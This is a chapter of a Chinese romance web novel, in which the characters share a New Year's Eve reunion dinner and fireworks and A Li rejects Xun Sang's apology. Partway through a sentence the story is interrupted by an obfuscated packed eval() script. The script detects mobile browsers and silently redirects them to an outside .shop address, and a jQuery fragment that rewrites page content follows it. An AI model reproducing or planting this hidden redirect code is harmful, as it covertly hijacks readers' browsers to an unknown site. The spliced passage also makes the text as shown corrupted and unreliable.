芹川离京城太远,赶回去不便。
早在腊月二十四,裴萝就已备好新年礼物,是一些搜罗的珍稀灵药和裴萝记录的手札,命人一路送回芹川,除夕时恰好可到灵医谷,如此也算安心。
腊月三十除夕夜,裴萝跟裴云庭一起去往公主府吃团圆饭。
公主府离得不远,因此没有坐马车。
还多带了两人,庆林和阿狸在旁跟着,手里提着灯笼,裴萝的小鹿提在裴云庭手中。
本是普通的四面纸灯笼,加了提手,又垂了一圈轻巧的流苏,再加上纸上作的画,竟也有了几分卖相出来,看起来跟街上悬挂的差别不大。
有路人看到,特意过来询问是在哪里买的,灯笼上的画很是精致可爱。
阿狸转头看了一眼裴萝,接到暗示,道:“自家做的。”言语间很是低调,透着股子挡不住的骄傲劲儿。
眼角余光不经意瞟见人群里有一张熟悉的脸,眸子正定定地看着这边,再去看时已经不见了,仿若生了幻觉。
阿狸下意识地回头看向裴萝,她正跟裴云庭说着话,显然没注意。
到公主府,门口的下人接过灯笼,将来人迎进去。
今夜青平公主气色格外好,很是高兴。阿狸作为裴萝的弟弟,也属家里人,得以上桌,一家子吃了顿热腾腾的团圆饭。
吃过饭,裴萝和阿狸都收到了红包,连带着二十六岁“高龄”的齐王殿下也有一份。
“压岁钱,不多,图个吉利,都压压岁,日子慢慢过,不急着长那么大。”青平公主笑眯眯道,“拿着吧!”
感激收下。
大院里有下人点了爆竹,刺耳的尖鸣声飞入天际,紧跟着是一阵轰鸣,巨大的烟花在天上炸开,璀璨夺目。
裴萝转头看向裴家母子,公主和嬷嬷捂着耳朵笑的舒心,裴云庭仰头望着天空,一副宁静沉思的样子。
她拉住他的手,他低头看她,眼中烟花的旖旎未散,裴萝攥紧裴云庭的手,朝他一笑,轻靠在他身侧。
回王府的路上,裴云庭把自己的份额红包交给了裴萝:“交由夫人保管吧!”裴萝也不跟他虚客气,接过来同自己的红包放在一起。
裴云庭边走,边同她说:“早些年,看的最多的还是边疆之地的烟花,去年这个时候还在北疆,所以今年对我来说也很难得。”
京中没有人期待,自己也不想回来,但今年不一样,尤其是今天,新旧时刻交替,他头一次对即将到来的新岁充满期待。
裴萝又何尝不是?烟花也年年都有,今年的却最是不同,去年此刻她与阿狸还在芹川,又怎么能预料到今年会有全然不同的境遇?
经历太多波折,总算等到了。
正想着,眼前忽然一亮,空中有花炸开,街上的人不约而同驻足。
这是今晚的第二场,也是最盛大的,属于整个玄雀城的狂欢。
燃放点设在城中几个空旷的角落,早前由官家组织好,设置好安全范围,以免到时候会踩踏误伤,这属于城防治安,是齐王的管理范畴。
此刻,空中花团锦簇,街上人流有序,裴萝立在人群中,听着巨大的欢呼,不知道为什么,眼睛突然湿了。
只有一瞬,她踮起脚尖。
烟花熄灭的瞬间,裴云庭心头蓦地一动,随即有温暖的春水漫过,所到之处皆生出融融春芽,莺飞燕舞,风和日丽。
他听到裴萝说了一句话。
“夫君,我的愿望是与你,岁岁相守。”她晶亮的眼睛看着他,“你说过,会实现的。”
烟花已再次起飞,喧闹里,裴云庭听不到她后面几个字的发音,只看到她嘴唇在轻动。
他微微一笑,亲了她一口。轻吻落在唇角,裴萝一怔,前后左右都是人,虽然也没人注意,脸还是直发热。
裴云庭递来了答案。
会的。
岁岁相守,一定会实现。
两人没有注意到阿狸不见了,只有庆林往后看了一眼,不远处的斜桥下,两道身影正立在阴影里。
浔桑嘴唇颤抖,收回被拒绝的手:“好,我答应你。”
街上停滞的人流再次动起来的时候,阿狸身后跟着浔桑,一同来到裴萝面前。
“姐……不,齐王妃殿下。”浔桑垂下头,嗓音哽咽,“对不起,我欠你一句道歉,我错了,不该一时糊涂!”
她的突然出现,让裴萝想起佛堂里发生的事,一时之间表情也跟着凝重起来。
还未说话,裴云庭径直拉住裴萝的手,对浔桑冷声道:“我齐王府不找事,也不怕事,不会跟一个小孩子计较,但也并不意味着就那么好说话,可任人拿捏,你回去吧,从今往后不要再出现,否则本王不管你是谁,不会对你客气!”
拽着裴萝走远了,庆林在后面紧跟。
阿狸还留在原地,望向满脸泪痕的女孩,说不出是什么心情,他觉得她很可怜,又觉得她实在活该。
敢动裴萝,若她不是个女孩子,他定是要拼上性命上去打她一顿,不筋断骨折不算出这口恶气。
浔桑用袖子抹了抹眼睛看向他,分明是祈求他的原谅。
“小狸猫,不对,陆狸。陆狸,我不是骗子,我的话是真的。”她着急忙慌道,“我真的很喜欢你。”
“可你差点害死我唯一的亲人,你还害我间接变成了害她的帮凶,你说喜欢我,偷花的时候有没有想过我会怎么样?还是你嘴上说着,其实根本无所谓,觉得如果裴萝她死了,我也不会有好下场,你让我再如何信你?”阿狸皱着眉往后退了一步,“你的喜欢我承担不起,你自己留着吧!”
“可我姐姐死了。”她泪流满面地低喊,也不顾路人的诧异,“你姐姐还活着,你有机会好好保护她,我姐姐没了,虽然不是亲的,也是一起长大,她待我很好,可如今她……她连尸骨都被丢弃在没人知道的角落里,这还不够吗?”
“够?”阿狸冷声,“够什么?就因为结果是你姐姐死了,而不是裴萝,她活着,赢了,所以我不该责怪你?你为了你姐姐,跑到我家离间我姐姐姐夫的感情,欺骗我,偷我家的东西,还拿去给你姐姐用来栽赃陷害我唯一的亲人,想就这么算了?”
他并不喜欢拿过世的人多说,此刻是实在忍不住了。
她立时慌了,张口结舌起来:“我……我不是这个意思,我是想说,你和我都有姐姐,我很懂你,我知道你多难过,我也难过,我知道我错了,我也道歉了,事情都已过去了,马上就要新的一年了,你能不能给我一个机会?”
她今夜的模样分明是特
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655078|143992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
意打扮过,漂亮的裙袄,精致的编发簪花,一身优雅的贵气,却在此时放低了姿态,看起来十分狼狈:“最起码不要那么地……讨厌我,好不好?那几天,我真的很高兴。”
“我不讨厌你。”阿狸开口,说出了她想听的话。
浔桑还没来得及释怀一点,他又道:“浔姑娘,但我姐姐同我说过一句话,这些年我一直记得,一次不忠,则百次不用,我已经无法再相信你。”
“我也不会原谅你。”
不再看她,转过身走了。
他手里提着的灯笼上,是裴萝特意画的小狸猫,胖乎乎的,翻着肚皮很是可爱。
这漫漫人世,只要他还活着,哪怕只有一口气,就绝对会站在裴萝身边,护她到底。
回到王府时,门口站着一人。
正是裴萝,她一双眼睛安静地看着他越走越近。
撞进她眼中,阿狸突然偷偷地委屈起来,又不敢让她看见,扬起一个大大的笑脸,迎上去,朗声叫道:“姐!”
裴萝只当看不见他强撑的表情,“嗯”了一声:“我听通叔说,浔桑在府上的时候,跟你相处的还是挺不错的。”
“她是为了让我放松戒备。”阿狸情绪逐渐稳定下来,“我已经跟她说清楚了。”
裴萝转过身,望向齐王府的巨大门匾,在晦暗不明的夜色中依然显赫威武。
“若是不在这里的话……”她欲言又止,“或许可以不那么……”
阿狸立马听明白,他道:“姐姐是觉得我喜欢她?但是因为你和姐夫,才不得不,不原谅?”
裴萝没说话,轻轻挑了一下眉。
浔桑能跑来找他,这关系自然不太一般。
“当然不是。”他笑,随她一起看向高处,“只是朋友,纵然是朋友,几天而已,也谈不上多深厚的交情,又有了原则相悖的事,她选了她的,我选了我的,立场不同,便再也做不了朋友了。”
“不后悔吗?”裴萝问他,“你知道的,我并不会责怪你什么。”顶多骂上一句小白眼狼,放他去,又能如何?
“自然不会。”
少年立在夜色里,头上是几颗星星,嗓音不怎么清朗,却沉稳有力。
他道:“姐,你别再想了,我根本没什么可去后悔的,若是我因为她,不要你了,让你出事,我才要后悔死,骂自己是个白眼狼。”
“毕竟,朋友可以再有,姐姐可只有一个!”
又是一声响,王府里开始放烟花。裴萝仰起头,满目斑斓。烟花不绝,连地面都在跟着抖。
裴萝眨了眨眼睛。
手已经被拉了起来,阿狸一手提着灯笼,一手拽着她往院里跑。
烟花之下,很多人立着。
平日里洒扫的下人们,通叔,瑶婶,梅香,竹韵,庆林,还有最中央挺拔俊美的男子。
阿狸拉着裴萝跑进人群里,裴萝被一双手稳稳接住,落入裴云庭怀中。
烟花散尽,天幕上又是一波,这一波格外盛大,如通天巨雷,使劲地轰着,响彻寰宇,终于推开一扇无比沉重的门。
旧年已逝。
裴云庭揉揉裴萝的头发,望进她眼中。
“阿萝,新年快乐。”
“新年快乐,齐王殿下。”